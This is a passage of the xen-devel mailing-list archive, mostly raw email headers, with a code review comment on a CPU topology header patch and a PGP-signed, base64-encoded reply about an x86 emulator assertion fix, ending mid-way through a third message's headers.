 5b1f17b1804b1-4953c70f99dsm97716655e9.2.2026.07.16.06.29.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 06:29:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784208596; x=1784813396; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=DyxvjAL/zArsqc3TUV5N43d16kVk+2Z1kZSLtgy9iF0=;
        b=Y/BZ6EN3xmSk3MazOAKXWlW30h3iVibEwntk5TZW8EeM5gBHTEhOqt4gZqMrN8pINc
         S+nmAcQmf3qEWq52oVCqBznfGoT5SyX4dY3siO1QRstwwOjyg3EOyXxx4DO2t8URljvs
         E4ETIGAEL43yxwU2XCrlt9/JcgZPc1ZQK3hjfu9Zwvp4ODCoSlDPkVAlk2qr5iAhcXBW
         c77rM+p2iuCoZJsI7cvncYl/M9zWNcNGRSEEFBY0wXoVpemDKt8/xnUMJUmZuGMuJG3V
         ANig0xOwXoWxavtvvNzRdc65PYDjf3l7KTWOvh6Yb8el/t/Nuxgr8zXYXJ8vYWrn0Ciy
         uYYQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784208596; x=1784813396;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DyxvjAL/zArsqc3TUV5N43d16kVk+2Z1kZSLtgy9iF0=;
        b=AKT8cCd1WFD/2Gm/MJUYzGHJDUARs/2zIor+4e4/XUe8pCdN28YEQrUJazcstpL7Va
         f2AiKrLudfF7PDNTd5TEvOpWJSmrr+hgWzUMx66arREsecm5aUvYbcJvgryBzgyOQ/xD
         Iufh0ihYoWStFmfjOyOg6E/IOZgj93kV8kjQpAoU9KheQhh2tTTyxsK3f8K3vxOBxnz1
         g9jy3cdiwltoxrqnTDaNaJ28mGP28FrJNzY5cmX7aYvzsF65KWVO1zLnDE/zEp9F38xH
         33RAt6ytlOpab0tqlAXtviQULcbzOMCBsvnuItWNdKrPoXLANOF5mjcqhPUXfD0Vpvdq
         q8nQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro/IKhdCOmdhPLCbOLnxgSI9NqzghrFZO9YLdjv5YK4UE4Tbieo24aQpxB/UxOzCwYyI7XI/Hl8t/w=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxvKB1CvqUpYD5Bk5UHmjzIYvg1tvxDKR/9IOItqYIamHYbF0ku
	2c0dm4cF+Hjq+Y9u5Sxt+8i+sEUea02yVsYiZNipqAJQbH1lTn+nj5h5LVou+9gj0g==
X-Gm-Gg: AfdE7cmWdl1Tbq+kxsQ6NnefghS08tKL0i1aAWZUh2gf/bXusvBRta+Y0LK0yrIItgr
	Xij/g/ViaJ/OgbhBSEJTotCsPax1NWhjjDTsQw0PczYwcNcz6nBysry3Wk+r2NmX8ysD1a6JJoL
	vB+WG7b0oHlSWgV3gKYJMh6Ysjiue998RCtaGLeyUK3sgVPVgXSP96/mKJCOZsQQU8zJsh0j7ia
	YBehYDKXULTO2LIL1b7IgsiJ5Y3lcgYAG2tAjUFTiObiLPzWhL83/JfI7N76jEO9B2oNfz+F5W6
	loPi/x9A9PX348LsI+/7jJzFb5VE0V309X99CHrgXuQxDekEGHW1zOsYOmv8izJThBrE84gYrv6
	SAaLliEGr9kCNgACYvAVG6DHlJP1wE0IqdBZ7sFbC520mU65NoGiI/0FcKnON5LtnyxOe9OnD0A
	jyCbFDiKoI/Cy0+Lyy7LjzP4y1aLhsD3BFKqkY+C16bFLaEbX29C71sdWlFkpyKjEdeg==
X-Received: by 2002:a05:600c:3487:b0:493:bacb:1341 with SMTP id 5b1f17b1804b1-4953c144adamr78575885e9.4.1784208596097;
        Thu, 16 Jul 2026 06:29:56 -0700 (PDT)
Message-ID: <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
Date: Thu, 16 Jul 2026 15:29:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260714104445.919830-2-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784208596-A52CCAE4-B2EEDA8C/0/0
X-purgate-type: clean
X-purgate-size: 784

On 14.07.2026 12:44, Hirokazu Takahashi wrote:
> --- /dev/null
> +++ b/xen/include/xen/cpu-topology.h
> @@ -0,0 +1,34 @@
> +/* SPDX-License-Identifier: GPL-2.0-only */
> +
> +#ifndef XEN_CPU_TOPOLOGY_H
> +#define XEN_CPU_TOPOLOGY_H
> +
> +#include <xen/cpumask.h>
> +
> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
> +
> +struct cpu_topology {
> +    cpumask_var_t thread_sibling;

Btw, as this aspect becomes more apparent when looking at patch 2: What is the
relationship of this (i.e. cpu_topology[cpu].thread_sibling) to
per_cpu(cpu_sibling_mask, cpu)? The two ought to be identical, but I can't see
this being guaranteed. And if they were identical, why would both be needed?

> +    cpumask_var_t core_sibling;

Same for this vs the per-CPU cpu_core_mask.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 13:35:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 13:35:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364056.1615422 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMFa-0005xN-2G; Thu, 16 Jul 2026 13:35:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364056.1615422; Thu, 16 Jul 2026 13:35:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMFZ-0005xG-Vg; Thu, 16 Jul 2026 13:35:41 +0000
Received: by outflank-mailman (input) for mailman id 1364056;
 Thu, 16 Jul 2026 13:35:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@swg.vates.tech>)
 id 1wkMFX-0005xA-Jc
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:35:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMFW-006flC-T0
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:35:39 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@swg.vates.tech>)
 id 6a58de21-bab6-0a2a0a5309dd-0a2a4502ea00-42
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:35:38 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@swg.vates.tech>)
 id 6a58de2a-6ca4-0a2a45020019-b9ff1c129e61-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:35:38 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b23cedf000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 13:35:36 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id CC44F823E6;
 Thu, 16 Jul 2026 15:35:35 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=cWgAouQsB56tdya9xW1J+VD1EitauzLiFRhIPCJzsZQ=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=slBZxe8yKQZFqJVHRnrHj4726RoLVw6LWxUvH36xELHCxvOwkbp015q6a1QvCNI90rNs/9nK9
 7FgZ3WRpLX5C62Mb90OAZQ+8O4JeUDFS9U3Ynml4jaTzwaRc2phuHJnEca5eSM6Ow4/pnXwS3oa
 zRwF3shAFrkABWqIemzPs00x4h5Bnpw60QrOb4rN0qzjTgaL3qiB+vQyTAc+xWvTkEz2xr+LwD0
 2IlNVp0T11XVcjQS20pz1JFNYmKwybkAd38YnUqvhS4w+R3FwQHzbPTXhpomgoa60G7iW3l7uJV
 cloMF5uKGASMdP0/rTWnohojgV2m3kBLYh+8yp02QFtg==
X-Zone-Loop: 6036213d976c757496570ce6a34eb7c6601cabb2c0b9
x-campaign-type: default
x-transaction-id: 84312875-886b-4eaf-8e4d-55a93a74db44
x-swg-uid: 01-b513e3bd-3b7c-4df2-b13b-b298c22dfd94
X-Mailer: Sweego
Message-ID:
 <1784208936.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@vates.tech>
x-swg-bid: 1784208936.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 15:35:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY8P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xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------tUyC3E5Hejw0QS0y7zyS5kER"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784208935958
X-purgate-ID: tlsNG-720697/1784208938-F2CB22AC-99F91CEC/0/0
X-purgate-type: clean
X-purgate-size: 7843

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------tUyC3E5Hejw0QS0y7zyS5kER
Content-Type: multipart/mixed; boundary="------------7NEZfsOGakBKE9JHNmIiElmc";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Message-ID: <b9391fb5-630c-45c7-bdd7-3f59f34c8758@vates.tech>
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
In-Reply-To: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>

--------------7NEZfsOGakBKE9JHNmIiElmc
Content-Type: multipart/mixed; boundary="------------a3F74mggivaHAjDtoL6tpIFO"

--------------a3F74mggivaHAjDtoL6tpIFO
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTYvMDcvMjAyNiDDoCAxMjo0NSwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gQUZM
IGhhcyBwb2ludGVkIG91dCB0aGF0IHRoZSBvcF9ieXRlcy1pcy1ub3QtMCBhc3NlcnRpb24g
aW4gY29tbW9uIFNJTUQNCj4gaGFuZGxpbmcgY2FuIHRyaWdnZXIgZm9yIHRoZXNlIGluc25z
LiBJbmRlZWQgd2hlbiB0aGUgKHJlbGV2YW50IHBhcnQgb2YpDQo+IHRoZSBjb250cm9sbGlu
ZyBtYXNrIHJlZ2lzdGVyIGlzIDAsIG5vIG1lbW9yeSBpcyBhY2Nlc3NlZCBhdCBhbGwuIExl
YXZlDQo+IG9wX2J5dGVzIHVuYWx0ZXJlZCBpbiB0aGlzIGNhc2UsIHRvIGVuZ2FnZSB0aGUg
c2hvcnQtY2lyY3VpdGluZyBpbiBjb21tb24NCj4gU0lNRCBoYW5kbGluZyB3aGVuIGZhdWx0
X3N1cHByZXNzaW9uIGlzIHRydWUgYW5kIG9wX2J5dGVzIGlzIDAuDQo+IA0KPiBXaGlsZSB0
aGVyZSBhbHNvIGNvcnJlY3QgYSByZWxhdGVkIHR5cG8gaW4gdGhlIHRlc3QgaGFybmVzcy4N
Cj4gDQo+IEZpeGVzOiA2NWY4MmQ0Y2UxZWEgKCJ4ODZlbXVsOiBzdXBwb3J0IEFWWDUxMntG
LF9WQk1JMn0gY29tcHJlc3MvZXhwYW5kIGluc25zIikNCj4gU2lnbmVkLW9mZi1ieTogSmFu
IEJld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SBvciBjdXJyZW50KS4N
Cg==
--------------a3F74mggivaHAjDtoL6tpIFO
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjn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uBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------a3F74mggivaHAjDtoL6tpIFO--

--------------7NEZfsOGakBKE9JHNmIiElmc--

--------------tUyC3E5Hejw0QS0y7zyS5kER
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpY3icFAwAAAAAACgkQZg+p0QLLz9CB
kwv/aye6WxO31H/AyxXh+ZEcpRD1ze1nBYRX09x+oMx2JxRIoq3YRD7vjht2IYDjfUCvRMhjlEsC
ejc7ckwCTTzg4ptFpmqSct11JzBGqC13f7CjZ3andMWDx+6KWSIxrTFxThreHKtgD7hPIEak5uEo
BHTKewkzstbkGHfq3uwxuXAXqKJKv1MKKi66T5nwN2phKa8at5eIMEVJpgKtuIgZxJjneWg54pK0
9IqJpW7tO41W/LZG7iLuyEHmC5QAH3qjVDx8CcC3JtbDWwebGL/qvO5S+IFoF+6o/j2otpBmTYtv
y23HHe7eg6k/LQUNEH5JoQZ71T1wW7szxXrGYSQ6Em1wMiuiacG3fk2r82dcI5yMJwYvGbLC9J3C
HQyK0UrAMiNkUlajg4kTTusypOOAEMyYwdTOxaMQxygxsskXFolg54AhRIxU7iJppeRVXZWtmg+k
OlxsXCyj6ncXWfCXfES3lCOLEe5aQ5UncfXmPEhrgSO3Wt6ko92vvR2vAyVe
=hBqG
-----END PGP SIGNATURE-----

--------------tUyC3E5Hejw0QS0y7zyS5kER--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:07:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:07:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364085.1615432 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMk3-00022l-D4; Thu, 16 Jul 2026 14:07:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364085.1615432; Thu, 16 Jul 2026 14:07:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMk3-00022e-9t; Thu, 16 Jul 2026 14:07:11 +0000
Received: by outflank-mailman (input) for mailman id 1364085;
 Thu, 16 Jul 2026 14:07:10 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@swg.vates.tech>)
 id 1wkMk1-00022Y-W7
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:07:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMk1-00HaGC-Cn
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:07:09 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@swg.vates.tech>)
 id 6a58e58b-e002-0a2a0a5209dd-0a2a450b9bc2-8
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:07:09 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@swg.vates.tech>)
 id 6a58e58c-b7e8-0a2a450b0019-b9ff1c2396c3-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:07:09 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b408bba000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:07:00 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 27111815FF;
 Thu, 16 Jul 2026 16:06:59 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
